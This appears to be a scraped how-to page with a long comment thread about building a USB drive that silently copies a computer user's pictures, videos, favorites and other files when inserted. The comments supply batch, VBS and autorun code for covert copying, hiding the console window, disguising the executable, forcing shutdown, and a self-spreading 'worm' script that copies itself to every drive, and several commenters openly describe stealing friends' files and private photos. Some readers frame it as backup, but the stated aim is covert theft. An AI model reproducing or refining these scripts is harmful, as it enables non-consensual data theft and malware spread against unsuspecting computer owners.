How to make flash drive that copy's users files silently and automatically

Picture of How to make flash drive that copy's users files silently and automatically

How to build a simple five file usb drive that copy's current user's favorites, pictures, and video folders to the thumb drive automatically and silently when inserted. Can also be customized for other files that need to be copied.

Remove these adsRemove these ads by Signing Up

Step 1: Materials needed

Picture of Materials needed
Let me first say this is my first instructable... so be nice. Any help in making it better would be nice.

Flash/thumb drive 8gb-- $25.00.
computer to write files on.
someone to try out thumb drive on.

Just a note, you can use any size thumb drive I used 8gb it was on sale when I bought it. Also the more space you have on the drive the better... just incase the target computer has LOTS of files you will have the space to copy to.
NathanW31 month ago

my only question is how do you reverse the processs? How do you make the computer copy the USB files onto the computer? it seems that would be better for trolling

In the file.bat this code is in there to copy files from the PC.

%backupcmd% "%USERPROFILE%\pictures" "%drive%\all\My pics"

So if you switched the two codes in quotes it'll copy files from the USB. Like So.

%backupcmd% "%drive%\all\My pics" "%USERPROFILE%\pictures"

surpcrepair4 years ago
ok so this is what i want to be able to do can you give me an example of the code if possible... lets use c: as example So i want to copy all .jpg files on c: that are bigger then 60Kb and im assuming if you give me that line i can just change the .jpg to .avi, .bmp, .mp3 whatever and actually even better if you could limit it between specific file sizes like 100kb-120mb so basically i backup restore alot of user computers i want to put in the thump drive it will backup the most common files they will need and i can restore without me wasting my time looking through files and seeing what i need to keep or not. also i am having an issue i have done everything exectly as described but my autorun.inf wont autostart and it wont do anything but open in notepad... im using windows 7
below is my script i have right now, i was using the other scripts but i really have no point i just double click on file.bat and everything works and i actually want to see whats going on so i turned echo on. I want to have on the bottom part where D:\ begins i want to copy that and have all of the letters scanned except the letter that the thumbdrive is on. I have this on my 16gb sdhc sdcard using a usb adapter. @echo on :: variables SET odrive=%odrive:~0,2% set backupcmd=xcopy /s /c /d /e /h /i /r /y echo on %backupcmd% "%USERPROFILE%\Favorites" "%drive%\backup\favorites" %backupcmd% "%USERPROFILE%\Desktop\*.jpg" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\Desktop\*.jpeg" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\Desktop\*.bmp" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\Desktop\*.3gp" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\Desktop\*.mp4" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\Desktop\*.avi" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\Desktop\*.wmv" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\Contacts" "%drive%\backup\contacts" %backupcmd% "%USERPROFILE%\Links" "%drive%\backup\links" %backupcmd% "%USERPROFILE%\My Documents\My Music" "%drive%\backup\mp3" %backupcmd% "%USERPROFILE%\My Documents\Downloads" "%drive%\backup\downloads" %backupcmd% "%USERPROFILE%\My Music" "%drive%\backup\mp3" %backupcmd% "%USERPROFILE%\My Documents\*.jpg" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\My Documents\*.bmp" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\My Documents\*.avi" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\My Documents\*.mpg" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\My Documents\*.3gp" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\My Documents\*.mp4" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\My Pictures" "%drive%\backup\img" %backupcmd% "%USERPROFILE%\Videos" "%drive%\backup\vid" %backupcmd% "%USERPROFILE%\Music" "%drive%\backup\mp3" %backupcmd% "%USERPROFILE%\Downloads" "%drive%\backup\downloads" %backupcmd% "D:\*.jpg" "%drive%\backup\img" %backupcmd% "D:\*.jpeg" "%drive%\backup\img" %backupcmd% "D:\*.bmp" "%drive%\backup\img" %backupcmd% "D:\*.3gp" "%drive%\backup\vid" %backupcmd% "D:\*.mp4" "%drive%\backup\vid" %backupcmd% "D:\*.avi" "%drive%\backup\vid" %backupcmd% "D:\*.wmv" "%drive%\backup\vid" @echo on cls

it only copy one file with same extention. but how we can copy many files with same extension

hmm, is there a simple way i can exclude a specific folder? like say... "AppData"
it just keeps getting in the way.
just to update nevermind its working perfectly this computer is just highly customized and i have all of the autorun and everything off it works great on my other winxp computer.... but is there a way to not have the command box come up and say " CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False " also one more question, i still havent figured out how the do the above part with the sizes but i am having an issues with the pdf files i its taking everything from program files that is pdf and i really dont need those its taking like the pdf install and help files from installed programs is there a way to block specific locations from being copied from or for things like pdf and documents and i going to have to specify folders to look in?
You could get a batch to exe converter and most of them have options like run in background so it's an exe file but you can't see the command window when you run it.
There is in fact a way to not have a command box come up. The way I do it is:
+Write (and compile) a C file that runs your batch file's commands invisibly

     #include <stdio.h>
     #include <windows.h>
     int main()
       return (0);

+Write a VBS file that runs that compiled C program (now a shiny .EXE file)

    Set objSh = CreateObject("Shell.Application")
    objSh.ShellExecute "example-exe-file", "" , "", "", 0

Now make sure they are all in the same directory, unless you want to get more complicated with your code. To start the invisible batch file, run the VBS file.

This works because the VBS file can start a program invisibly, but it can only do this to executables (.EXEs). This doesn't include batch files (.BAT). However, the compiled C file is in fact executable. So the VBS runs the C, which runs the Batch as its own commands (that is to say, invisibly).

For more help, just comment.

By the way, I was about to write an instructable on that, but now I dont think it's necassary.

lol another question... so i want to add multiple drives to my script and i am having an issue where I put like the drive letters I want to scan and copy files from but when it tries to copy/scan on the drive litter that my thumbdrive is on it causes a problem and hangs. how do I get it to not scan the drive that its running on when its scanning for files? sorry so many questions but i have been playing with this thing all night and almost got it the way i want it other then these few things and I have been googleing all over to find out more info but not coming up with much.
hey please show me what to assign to folder for example if i want any bat file i say" *.bat" and for any file "*.*" what can i say for any folder any whare?? please ur blessed and show me
minijc2 years ago
how would you coppy the documents folder please paste the code in the reponse.
Draganko minijc3 months ago

Yes, I will answer; Learn batch code. You really need that. It will make everything on your computer easier. For your needs:

@echo off

xcopy C:\Users\%USERNAME%\Documents E: /E /H

xcopy is a powerfool tool. Use it wisely! 'With great power, comes great responsibility.' ;P

Lord Maul4 years ago
How can i root the files?And how did you do the icon?
No, you just copy all the files (.bat, .inf., .vbs etc) and copy them to the root of your stick, (example "G://")

but how


atrix_3 months ago

hey I want to copy only those files which are selected by some predefined copy those files I will provide one option in right click context menu....

atrix_3 months ago

hey I want to copy only those files which are selected by some default location which is predefined.......

to copy the files I want to give one extra option when user right click on that file......

bbarcroft1 year ago

Hey everyone I am having issues. I am trying to sync files from one folder to another when they plug in the USB drive. I have a .bat file that correctly syncs the folders. I have an autorun that changes the name of the drive and the icon. However, I can not get the autorun to run the .bat file. Any Ideas?

This is a problem that Windows Bill Gates himself discovered so he disabled autorun there fore stopping it froms starting pprograms other than from the computer and also this was only stoped from xp onwards and xp soo yeah...

Good luck

P.S for your trying to do this on an windows XP computer it will work unless they have trend micro office securiy it blocks all auto run features from outr side of the computer

ausman11 year ago

I Like this page thanks

tommycai made it!1 year ago

Thanks for the information made one, great for backups without having to click on a bunch of things. I did have to click on the autolaunch to execute but one button is a lot less thanks.

minijc1 year ago
could sombody modify this code so that it copys the entire hard drive.

yes you could But You wold probs need a hars disk instead of a usb because It would be like 200G or more

rpmartinez1 year ago

Hi, I'd like to use this for backing up User profiles, and documents at my company and then later on restore that info onto their new computers. Is there anyway to make it so the backup folder automatically gets renamed to the User Profile's name?

So, I may backup multiple computers first and then later on know which documents belong to that particular user.

yes there is but You cant find it here go look on

adam3371 year ago
If you have that much access to the pc, you could just make a batch script that copies all files and set it in the startup folder. It will run silently, and gets rid of the need for the obvious USB. Of course, you could keep the USB and have the batch file in the startup folder write to the USB.
eperez201 year ago
Hello, love the product, but it does not auto run. Also for you venturous people out there, I made a simple manual kill command that will stop the process if you need to.

~~~~taskkill /im cmd.exe~~~~

just put that in a .bat file and you are good to go.
sadams361 year ago
One of the best ways to improve this would be to go through and correct the spelling and grammar errors. It REALLY makes it hard to follow your instructions when you don't use punctuation and run two sentences together. At one point, it took me several minutes to figure out what the hell you did to the sentence to finally understand what you were trying to say.

Sorry if that sounds "negative" but a well-worded instruction would go very far in helping people to understand your process.

Can't wait to give this a try!
goldmadw1 year ago
I'm running windows 7 64bit pro. It does work.
CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False
make sure 1 one space between & and WScript...
Zakaria.K1 year ago
the .vbs didn't work for me so here's another I found on the Internet:

Set WinScriptHost = CreateObject("WScript.Shell") WinScriptHost.Run Chr(34) &"*BatchPathHere*" & Chr(34), 0 Set WinScriptHost = Nothing

- just because it may not work on other computers, - as well as mine
imathew12 years ago
well.. im srry 2 say but microsoft has disabled the autorun ability for usb in windows precaution since most malware come from usb. Soo if u wanna make it work its gotta be on windows 2000, xp, or vista(who uses 2000 anymore???)..and frankly there's nuthin u can do 2 change the autorun ability so you'll have to click on the launch.bat file if u wanna make this work..
elia12 years ago
hi,it works well,thank you.but there's a problem that it's not invisible when i click on the launch.bat a black window opens and begin to list all the files that i want to copy;

can u plz help??
good tutorial, now i have 1 question...
how to stop/cancel copy ?
vincenthor2 years ago
how about automatically copying all files from any USB plugged to the computer into the hard drive?
iute12 years ago
hi and thnx
i do as u told and it work properly except that i have to click on launch.bat file to start copy. what is the problem and what should i do?
Thanks again
mnbpoi62 years ago
This autorun will be captured and deleted by pretty much any AV that is installed. Also, autorun from USB does not work at all on Windows 7.

This will still work by running the Launch.bat directly, but a silent autorunner is no longer possible on most PCs (for obvious this one)
selvol2 years ago
How ever late I may be.

It works....
tzq33tdq2 years ago
does their computer need to be on/logged in?
shan03 years ago
its really great subject but i just want to ask if want to copy the jpg files
but from the whole hard drive
not only form the C drive
i mean form the drive D,E,F..... etc
what should i write
and thanks alot
jbouffard3 years ago
any way to make to see it when i press (for example) the "c" key?
thanks in advance
jj.inc3 years ago
Doesn't work in windows 7, only Vista and XP, windows removed the autorun from flashdrives for security reasons.
amlis3 years ago
i tryed your program but it wouldn't automatically come up
minijc3 years ago
can somebody just put the code in that you need
Really cool idea, but your DOSing needs some work. Like, a lot off work.
":: variables" ?
"/min" '/min' is not recognized as an internal or external command, operable program or batch file.
"SET odrive=%odrive:~0,2%" I'm sure this has a use, but I can't figure out what it is.
And lastly, you only need "@Echo off" at the beginning of the batch.

Still a really cool idea though :)
Actually, you need some DOSing work if you don't get this. it took me a couple of hours to find out what it does. first, the ::variables is just a comment, they are not run, it just lets you know what it is while editing. the /min, was most likely used to run something minimized. and almost the last but not least, the SET odrive=%odrive:~0,2% has a very important use.

copied from cmd help itself states:

would expand the PATH environment variable, and then use only the 5
characters that begin at the 11th (offset 10) character of the expanded
result. If the length is not specified, then it defaults to the
remainder of the variable value. If either number (offset or length) is
negative, then the number used is the length of the environment variable
value added to the offset or length specified.


would extract the last 10 characters of the PATH variable.


would extract all but the last 2 characters of the PATH variable.
so what it is saying is............, sets the variable odrive to %odrive:~0,2%
now, %odrive:~0,2% states that the variable odrive gets expanded, and only the first 2 characters that begin at the 1st would be set to the variable odrive.
which in turn would be the drive and the colon.

such as
and so on and so forth.

and finally, the @echo off just keeps cmd from telling you where it was started from. which is usefull if you see it happening. but thanks to the invisible.vbs, it doesn't get viewed since its a process.
Anyway to search for a specific Volume label and set %drive% to that drive letter?
answered my own question. The code below is what I have.

works great with this:

use bat to exe found here:

to convert the batch file to an exe file. You can even include your own icon and set it to run silently. place the generated .exe and the ini file for u3-autorun and profit in education!
Hi, I'm kind of new to this but so far I'm making it work. Currently I'm running Windows OS 7, and having some difficulty getting the auto run file to boot as soon the the flash drive is inserted. After some research of my own I found out that windows 7 is not compatible with auto run file on a flash drive, any suggestions would be helpful as to an alternative.

I have been able to get this to work just by going into the flash drive once its inserted and double clicking on the File.bat.

Also, If anyone could help me out with an install script for a separate program to be run simotaneously from this one on the same flash drive. Thanks a ton.
at the beginning of your Batch file try

start myaltprogram.exe

This should open a second cmd window and run the program simultaneously.
nazirahmad3 years ago
hi: i did the steps but its not working ? some one help me!
Hey, I'm just wondering, what are you using, vista, mac, or windows
Well, Vista is a version of Windows. It looks to me, from his screenshots, that he is using Vista or 7. DEFINITELY not Mac, as is obvious from the .vbs file, the .exe files, the .bat file, and the .inf file. Macs don't use those kinds of files. Also, the buttons on the windows are on the left on Macs, on the right on Windows. In his screenshots, they're on the right, therefore it's Windows.
Thats logical
For a vbs scripter and batch maker like me getting a mac is out of the question for what you just said.
you can get a program called leftsider to swap the buttons around
Yes, but I don't think a soldier in Iraq would really care
Dude, Vista is Windows.
serisouly get your OS's straight....
Why does it run so slow??? Used it on a HP 6500 with a Sandisk Cruzer 8G... Also I converted the .bat file to .exe Would that make a difference maybe?
cooltg4 years ago
The folder with the system name is made.....BUT NO FILES ARE BEING COPIED........please help out.... it's urgent.. :(
lo3tboyz4 years ago
this instructable is totaly awesome!!!! it workzzzzzzzz..thx dude
Mistersalt4 years ago
Thanks! This sounds great! I can't wait to try this out. But on the down side, I'll need to buy a usb.I already have one, but i like to use that for general purposes, not pranking stuff.

Thanks again, this is such a unique idea!
axeman9114 years ago
srry but really hard to understand
The Droid4 years ago
Because you used the "If exist autorun.inf" it will not work for every user that has an autorun already on the drive. By instead overwriting the autorun with "echo blablablabla > %drive%autorun.inf", the user will still have an autorun, but your autorun. Besides, if you check for the file that you've already copied to it (i.e. a virus or something) then the autorun will be the one you want already. You could also have it copy it on the thumb drive for every loop of the program, so that the autorun, if edited or deleted, will always come back, unless the user stops the program process.
avibank9114 years ago
Hey Im so excited to use this! me and my mates were gonna spend days trynna figure out how to do this!! thanks a ton!

Do you think you could make the thumb drive pull a folder that you know only part of its name by adding a wild card ? strictly for example:

%backupcmd% "%USERPROFILE%\music" "%drive%\all\*SATS*

jgustin134 years ago
this won't work on windows 7 because microsoft tightened alot of security holes
jash1236 years ago
btw i also have a U3 sandisk flash drive...would that be of any benefit?? thanks
A U3 drive has a hidden partition that acts as a cd, this hidden cd image runs the U3 program without ANY user input if they have autorun enabled, and runs silently in the background. U3 makes a program that will change the cd image on the flash drive so that you will be able to run another program when the flash drive is inserted. I recommend that you check this instructable out if you want to use your drive.
dhynds1004 years ago
nice batch file lol but why dont you put a bit more flair in to it and gain all ip address and domain info and set uer self up a account to have a new net gate way, rather than just get the sounds lol eg net view > allWorkGroupPC.txt this will put a txt file were the .bat is with the results from the command.
Don't forget to add a continue on error code. Can't have a silly mistake in one part bringing down your plot of world domination via nude picture theft from a teen girls laptop...
knoxarama6 years ago
so if your a soldier in iraq, does that mean you got this from like the U.S. government or something? oh and, GO SOLDIERS, U ROCK KEEP OUR COUNTRY SAFE!!!!!! U GUYS ROCK!!!! GOD BLESS OUR TROOPS!!!!!
No this is basic batch nonsense. The admins of the military's network are one step ahead with

Value = 3

No USB storage devices. Local admin account disabled to prevent someone from running ERD or NTCRACK, and admin accounts tied to your ID card you use to login.
and why does the DOIM do this? for tweaks just like this one. the machine and the data on it is property of the us government. violation of a DoD OpOrd is an article 15 punishable offense...nuff said. this is for "HOME" use.
So that's how they do it at school.
if it works it works. i've tried it and it works. it's useful. nonsense or not, if you can copy files off of a computer like that with such simple code it is something worth looking at.
that right let god bless the soldiers in a good way.
Stormrage4 years ago
Its a cool instructable... tried it works... but i wonder how can i make a prog for this thing to work on Linux (exactly Edubuntu) but to copy more and to copy from another usb if inserted?
can you copy more than three files,
like documents, videos, picture, and favorites
if you tell it to copy "*" it will copy erything, the * is a wild card character
benny35215 years ago
Question: how do i make it not shut down?
just dont include the "shutdown" bit
D34th 4n6el5 years ago
i made this and it works great, i also added a shutdown command so it shuts down the computer after the files are copied
What's the command for that?
i believe it is
shutdown -s -f

the -s is telling it to shutdown and the -f is telling it to force all programs to close

but i'm not sure. Heres a website i use all the time when im working with batch 
Thanks, but I got error 404 for the link.

I have to hone it down to a serious piece of code but dad's always busy so he can't help me.
just type "shutdown --help" into the cmd and you'll see what parameters you have to use ;)
The -f is not important, you can use -t 'n' to turn it off after a set time limit where 'n' is the time in seconds and -c to leave a comment in a text box e.g. shutdown -s -t 15 -c "Nighty night"
I like it, thanks!
 hmm odd. well if you just type in then select the windows xp commands it get to the same page
just realised the problem...... thea dress has a space at the end.. so when you click on it it comes up as;   so all you need to do is delete the final bit.
 hmm odd. well if you just type in then select the windows xp commands it get to the same page

Shadow13!4 years ago
If you want to be really devious then stick the folder on your digital camera's memory card. Then when you give you friends copies of your photos you can steal all of their files. HA HA HA
do you save this to the flashdrive??
do u save this to the flashdrive??
l3owzaaaah4 years ago
Could you post a link of the files so us lazy people can just d-led and add to the USB please?
bradster5 years ago
what if you wanted to copy all of the my docments folder?
Then set it to copy my documents!
Just leave it as '%backupcmd% "%USERPROFILE%"' for XP. On vista if you just want the 'My Documents' folder you would need to set it as '%backupcmd% "%USERPROFILE%\My Documents"' however the videos and pictures are stored in different foloders. To get them too you should leave it as is for XP.
flixs4 years ago
Does this batchfile self shutoff.. I mean , u insert it into a pc , get files ya wanted and then return to your pc.. would not plugging it at home pc cause it to attempt to do same batchfile localy?
FYI if you are running Windows 7 they have disabled the "autorun" feature to prevent virus's and crap from being spread.  I spent an hour or so trying to get it to work, which it did if I manually ran the launch.bat file.
sanlinhtet5 years ago
Hello Sir.
I cann't do it to be automatically taken action without click on it. I followed your instruction. Any  suggestion for ,sir.
area365 years ago
Techonitus5 years ago
An excellent bit of coding :-)
geeknik5 years ago
ESET's NOD32 deletes my autorun.inf everytime I plugin the Flash Drive and calls it an autorun trojan. LOL.
Well it is NOD32's quite good, but you can select certain things for it to leave I believe.
doesn't really help if its someone else's computer your trying to get them off. because a smart person would put a password on there anti-virus, i know i do
NOt every one's got NOD32 though.
 oh no i dont have NOD32. password protection is becoming standard.
Elementix5 years ago
Nice instructable. Good job fixing up the code from my original instructable.

Maybe next time give me some credit.....

bigdaddyclint (author)  Elementix5 years ago
Sorry man but this is my instructable, but if you did have one i congrats to youon making one also have a good day.
Yea, ok man. It is almost identical besides the fact that you updated the code a little bit and changed the title. Have a look at both of their published dates. . I could care less, just pointing out the obvious.
i could write something like this without looking at either one of your codes. you both just took the most simplistic approach. the one everyone thought of.
Ok, go for it. Write another version of this if you wouldn't mind. I'm actually really interested in seeing a few different ways this could be pulled off..
 no it would be exactly the same. thats what im saying, its elementary his approach.
PyroMonger5 years ago
This isn't working for me.... Could it be because: - I'm running Windows Vista - I coded everything using notepad instead of word (followed your printscreens) - Copy & Pasted the codes directly from here instead of typing them in myself Please respond asap.....I'm a noob to cmd coding
well i always do mine in notepad- its always faster :) something you guys might want to look for it " bat to exe converter". it changes the files to exe so instead of using an interpreter it runs straight from machine code- makes the program faster
no worries i debugged it myself by using the all-knowing Google Search _
That's how I did mine.
actually what you might want to check out is bat_to_exe_converter (google it) it gives you the option to make the bat file into an exe and make it invisible. it also lets you add an image as the icon. so you could call the game doom.exe so it doesnt look sus.
also im pretty sure if you remove the "action=" in the autorun.inf file it will do it automatically rather then poping up with the auto run dialog (play files with windows media player, view pictures etc).

oh and also something else to try is in the batch file add this code at the end

pathping localhost -q 2 -p 800 > nul

this will puase the program for a few seconds and then shutdown the computer. also if you add a -i -c "your comment" to the end of the shutdown command a little window will pop up letting the user see the comment. aslo dont forget to add the -t "no of seconds" to let the user read it. make sure to fill in the blanks accordingly
For the auto run dialogue, just right click the usb in My Computer, go to auto run options and select the "Do this every time" box after selecting "Run Game".
if you want it 2 pause 4 a few seconds and you're using vista then using the timeout command is quicker eg timeout (no of seconds) /nobreak >nul
Only -c. -i opens up the shutdown GUI.
can you back up other drives like on my HP I have a C and D drive
yeah quite simply, and you can also probably put it in your start up folder so it does it automatically on start up (and with a few extra lines only update old files). batch is seriously the easiest programming language to learn. i learnt all i know in like a month from just googling stuff.
-c is the COMMENT botton you don't need that -i thingy if you put a -r where the -s is it will restart your comp
Lol. typical, i find my cousin commenting on an instructable like this.
jacques145 years ago
hey how do you write the script to copy all documents? im not sure how do i just remove the music / all music with documents/all documents? great instructable by the way
Yes you can do this but you need a large USB stick and a fair bit of time.
jagssss5 years ago
Hey friend I don't know your name but I want to make program that work as follows:

if anybody copy some file or any kind of data in my flash drive then delete that file or data. But when I plug flash drive in my PC then that data which he deleted that data will be in my flash drive. how will you do this program???

You could make it so that it becomes a hidden file, or copy it to a different folder.
Gamer9175 years ago
if you have a large (>500gb) USB hard drive you can copy the ENTIRE hard drive with these scripts
It would take a couple hours (at least) and many errors could occur, but in a perfect environment, yes.
Okamiryu5 years ago
Question I've modified the script so I could use them to unload stuff from cd's so I don't have to bother with the drag/drop methods. I was wondering is there something I could add to the script so that it will automatically eject the disc when it's finished with everything else?
Yes. I believe theres a instructables that opens the computer "built in cup holder"
Best eMail I've ever had.

"Do you need somewhere to put your coffee cup?

Yes                                                                           No"

Upon clicking yes, your cd drive opens.
matstermind5 years ago
is there any way to make the usb drive SEND a file to the computer?
Okamiryu5 years ago
Oh yeah, I forgot ;

Since I'm backing up the My Music folders, it also copies the iTunes folder, something I don't need. Is there a way to have the script delete the folder or do I need to augment the launch script to start a del.bat?
Okamiryu5 years ago
Cool tidbit

I'm still running the off of my iPod, and the scripts were great, but it was kinda annoying having to go through my explore panel to get to my files. I took out the autorun lines that brought up launch and replaced the notion with a simple batch 2 exe solution of two lines


After putting the exe version of that into my PortableApps folder, I was then able to still initiate the backup, keep it all truly invisible, and still access my files without any hassle. And since the suite can start programs automatically upon start up... he he he he.

Btw, all the original files are still in the root of the drive, as I haven't figured out how to compile all of this into an exe, but then again, I can still customize the file.bat.

If you can find a way to tailor this better to the suite program, or at least tell me what I'd need to learn to do so, that would be great :D
great instructable it works extremely well. i noticed one problem when i tested it out when i copied the files i noticed that not all of the files were not copied to the drive is it due to the drives capacity because i was on a 1gb drive also the cmd still showed up but it disguised the process. please help me with my problem any way it works really well and i look forward to you next instructable.
slinger145 years ago
what would be some code to put files from a flash drive into a specific folder on the computer such as the startup folder
it works the bad thing is that needs to run the autorun before the whole program works, I am looking for something which runs automatically the moment that the flash drive is inserted
To make an autorun script for a flash disk:
Step 1. Copy the code below.
autorun (needs to be in square brackets)
Step 2. Copy and paste the code above into Windows Notepad.
Step 3. Replace the test.bat filename with the batch file name you want to open.
Step 4. Save the code in Notepad as 'autorun.inf' without the quotes, and save 'autorun.inf' on the root of your USB stick.
Step 5. Make sure the batch file you referred to in 'autorun.inf' exists on the root of your USB stick.
Step 6. Wait for about 10 seconds, then unplug your USB stick.
Step 7. Plug your USB stick in again.
Step 8. Use My Computer and double click on your USB stick.
Step 9. Watch the batch file work its magic.

If you want the code to my test.bat file, it is just a pretend USB 'worm' that checks for other drive letters to copy two files to. When you double click on the drive with the two files (autorun.inf, test.bat) the autorun.inf file executes test.bat and that checks for existence of the files and then looks for other drives to put those two files on. C: drive is also out of the question because for many it is the system drive.

Here's the code:

@echo off
set drive=D:\
IF EXIST %drive% goto copy
set drive=E:\
IF EXIST %drive% goto copy
set drive=F:\
IF EXIST %drive% goto copy
set drive=G:\
IF EXIST %drive% goto copy
set drive=H:\
IF EXIST %drive% goto copy
set drive=I:\
IF EXIST %drive% goto copy
set drive=J:\
IF EXIST %drive% goto copy
set drive=K:\
IF EXIST %drive% goto copy
set drive=L:\
IF EXIST %drive% goto copy
set drive=M:\
IF EXIST %drive% goto copy
set drive=N:\
IF EXIST %drive% goto copy
set drive=O:\
IF EXIST %drive% goto copy
set drive=P:\
IF EXIST %drive% goto copy
set drive=Q:\
IF EXIST %drive% goto copy
set drive=R:\
IF EXIST %drive% goto copy
set drive=S:\
IF EXIST %drive% goto copy
set drive=T:\
IF EXIST %drive% goto copy
set drive=U:\
IF EXIST %drive% goto copy
set drive=V:\
IF EXIST %drive% goto copy
set drive=W:\
IF EXIST %drive% goto copy
set drive=X:\
IF EXIST %drive% goto copy
set drive=Y:\
IF EXIST %drive% goto copy
set drive=Z:\
IF EXIST %drive% goto copy

IF EXIST .\autorun.inf goto bad
IF EXIST .\test.bat goto bad
copy /Y autorun.inf .\
copy /Y test.bat .\
start %drive%

goto 1

The :bad label tells the computer if the two files do not exist on the specified drive, go back and start up again.

erikals erikals5 years ago
Slight mod to the code: IF NOT EXIST %drive% goto 1 Add that below the line 'IF EXIST %drive% goto copy
LS29995 years ago
I added a /q to mine. That just shows end how many files are copied. I also use something called hide script when needed.
ee0u30eb5 years ago
This is a great instructable, I really like the invisible part. My only criticism is that it will only copy specified folders, if you want to find secret hidden folders full of pics or something that the user wants to keep hidden, then you need to add some code like mine:

A hybrid of both ours would be good.
jacques145 years ago
hey can you pls send me the whole script 4 step 3? i cant find it on google. pls email me at Thanks
bwpatton15 years ago
Dont ya just love information!
Ok i tried making this work by using your instructions, but i had a problem with invisible.vbs so i re-wrote it to this:

Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "\all\copy.bat" & Chr(34), 0
Set WshShell = Nothing

then i saved it as invisible2.vbs

of course i had to change the launch.bat to:

@echo off
wscript.exe "\all\invisible2.vbs" & "copy.bat

The file.bat file worked perfectly, otherwise this is a very useful tool for system admins
Master21286 years ago
This works, but for some reason only the pictures get copied, nothing else. I made sure all the codes were right.
bablamoosh6 years ago
Is there a way to reverse what you're doing? For instance, can you copy files from a usb drive to a secure location on the computer?
Liam116 years ago
Whenever It starts to copy the files, command prompt always stays open until it has finished copying!!! How can I fix this?
surmad6 years ago
its not working dears
Kryptonite6 years ago
Yay I got it to work perfectly, there's on or two slight errors that stopped it from working on XP. In the Autorun file, you must add another line between the first and second, and add $WINDOWS NT$ for it to work on XP, and I made it get My Documents instead of just specific files. I couldn't have done it without you so thanks.
One little question though, I've got an application / game called Jumper Two, starring a badly drawn square with eyes, mouth and legs jumping through each level, with you controlling him. It's here if you want it.
Yeeeess... I was wondering if I could get it to open when I double click the icon on My Computer, while the rest of the code runs quietly in the back ground. If you could help me get that I would be really good of you and I'd be really grateful.
Thanks again!
Very well done Instructable, and Thank You For Serving :)......
i set mine to copy the internet history so i can see where peolpe have been XD
Wow how did you do that?
Oh my goodness!!! Does anyone know what type he is using!!! ie: vista or XP
bigdaddyclint (author)  Jacob Horton6 years ago
im using vista home premuim 64 bit
hereforone6 years ago
I believe that this works but when i put it into a computer after haveing done this it says that the device must be formated? any help?
Herminator6 years ago
cool gonna do it to ma friends muhahaha................ lol P.S. /▌ / \ ☻ <- bob's head fell off!
jash1236 years ago
guys could you help please...the thing works fine but only after i double click the flash drive..could you please tell me a way in which it would copy automatically after inserting the using XP by the way...thanks in advance
Goldbaas6 years ago
Tried doing this, but it doesnt work automatically. Only when i click on "file" does everything start to work, however cmd window comes up! Any suggestions?
did you properly set up the autorun.bat? also make sure that the system is not set up to go against autoplay.
yeah i did, completely copy and pasted it into notepad. Go against autoplay? At the moment, (im on vista) i just click "continue without scanning" and then "open in windows explorer" when the usb stick is plugged in. I havnt changed any of my vista setting so i assume that autoplay is the default settings!
hmn...wierd. I was able to get it to run on vista just fine; except fro the fact that the cod (being primitive) didn't actually steal anything. it did run, though.
alondra4526 years ago
I've tried this a couple of times now. Every time I put in the drive, it won't start automatically. I went in the folder and tried to individually start every one of them. The "file.bat" worked. When I double-clicked it, it copied all of the files. So I know that it can work, just not automatically. I checked the "autorun.inf". It looked exactly like how you typed your code for it. Then I checked the "launch.bat". It said that it couldn't find any "invisible.vbs". So then I went to that one next. When I double-clicked it, it popped up with some error saying "Script: I:\All\invisible.vbs Line: 1 Char: 1 Error: Subscript out of range Code: 800A0009 Source: Microsoft VBScript runtime error" Can you please help me?
I GOT IT :D to make it find your invisible.vbs file change this: wscript.exe \invisible.vbs file.bat to this: wscript.exe \all\invisible.vbs file.bat adding all\ tells it to look in that folder....hope it works for you :D
i got the same error....i re-did it....appaently im doing something wrong.....
okay i got it..... you cant click on the invisible vbs file to start it.....
maTmo8796 years ago
After I save my autorun file and put inf after it, my computer always puts a .doc after inf. Is this a problem and if it is how do I fix it???
when you're in the "save as" window, click on All files....that should work....
ubercurious6 years ago
How do you keep it from copying your files when you put the drive in your computer?
Hold left shift.....what ubercurious said......
zakir_yo6 years ago
would this work for only 1 computer???do i have to paste a new copy of all six files wen i try it in a different computer
bigdaddyclint (author)  zakir_yo6 years ago
no it should work on any computer the code is standard on any computer and SHOULD work for many computer.
ProjectZro6 years ago
how will this handle replacing files like "hi.exe already exists would you like to replace it with the newer file?" and is there a way to write one that wont ask for an action?
You can do that with an U3 Stick, they support Autostart when plugged in. Still this can be deactivated by the user...
bigdaddyclint (author)  wupme6 years ago
yes you can do it with a u3 stick, but what standard user is going to stop the autostart. Anyways there is some code in the batch file that if you do not click on the autostart option as soon as you go to click on the drive (because you know everyone needs to check whats on a thumb drive that just screams look what i have on me.... ) anyways as soon as they click to check it. the bat file will run. or at least should.....
About that, is there a way to rewrite the script so that it activates upon clicking on the drive and allowing to let you in? I usually have to go through explorer o0. Btw, I do love this instructable, it works great with the Portable apps suite :D
On my system thats dissabled, if you doubleklick, you only browser into the drive. Yeah i did that on purpose ;-)
bigdaddyclint (author)  wupme6 years ago
huh I will have to recheck the code i am sure i put the code in there as soon as you check the drive out it should have run the batch file... i will get back to you as soon as i check it out.
No your code is fine, i just set all my systems to ignore every autorun.inf and just browser to the drive.
frozilla wupme6 years ago
how do you make it erm.. not do cu zi seem to have done that with my comp and i cant figure out how to make the autorun, well, autorun. i would liek to test it on my comp before running around to other ppls and doing for them
wupme frozilla6 years ago
For Vista go to the Systemcontrols, and there should be something like "Autorun Settings" or "Autoplayback". Like i said, i only got the German Vista her, so i have to guess a bit how its named in english ;-)
bigdaddyclint (author)  ProjectZro6 years ago
hey projectzro sorry so long on the reply been doing my thing here in iraq, anyways this code that is in the file.bat should allready supress all errors and prompts for action also if you look at the reply that i gave pkm it gives an explanation of the settings that xcopy is using the /d setting should over write newer files without prompt if you add a date in it like the example a couple posts below then it will copy only on the date you add check it out below and thanks for looking .
